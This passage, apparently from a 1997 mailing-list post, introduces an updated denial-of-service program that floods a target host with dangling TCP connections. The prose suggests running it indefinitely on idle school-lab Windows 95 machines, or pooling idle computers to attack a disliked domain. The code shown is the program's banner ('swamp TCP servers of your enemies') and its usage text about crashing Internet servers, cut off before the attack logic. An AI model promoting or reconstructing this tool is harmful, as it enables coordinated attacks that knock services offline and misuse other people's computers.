Perhaps someone else could do it. Also, it is _possible_ that this program will not work too well on Win 95 because it would block other applications. (I am not sure about this)
It might make the box not very usable for other stuff.
I'm thinking of a situation where someone has access to a room full of W95 boxes (e.g. a computer lab at school) left idle for extended time.
... or a number of people who have access to idle computers and do not like a particular very annoying domain. The program was designed specifically to be left running forever (in the grind mode with #connections != 0). It should not put a too big strain on the attacking host (except for the Net connection), at least if it runs under linux. By the way, I just made a couple of minor changes (in the way it grinds) and here's the new version. /***************************************************************************/ /* */ /* \=/, _-===-_-====-_-===-_-==========-_-====-_ */ /* | @___oo ( Denial Of Service )_ */ /* /\ /\ / (___,,,}_--= Opens Many Dangling TCP Connections ) */ /* ) /^\) ^\/ _) =__ to swamp TCP servers of your ) */ /* ) /^\/ _) (_ enemies. ) */ /* ) _ / / _) ( ) */ /* /\ )/\/ || | )_) (_ Educational Use Only! ) */ /*< > |(,,) )__) ( Ignoramus_Chewed-Off@algebra.com ) */ /* || / \)___)\ (_ 1997 __) */ /* | \____( )___) )___ -==-_____-=====-_____-=====-___== */ /* \______(_______;;; __;;; */ /* */ /***************************************************************************/ const char * Usage = "Error: %s\n" "USAGE: %s (block|grind) hostname service# #connections\n" "\n" "This program opens #connections connections to the specified host.\n" "It can be used to deny services, slow down and crash Internet servers.\n" "\n" "If #connections is set to 0, it opens as many connections as it can\n" "and continues trying to do so as long as it runs.
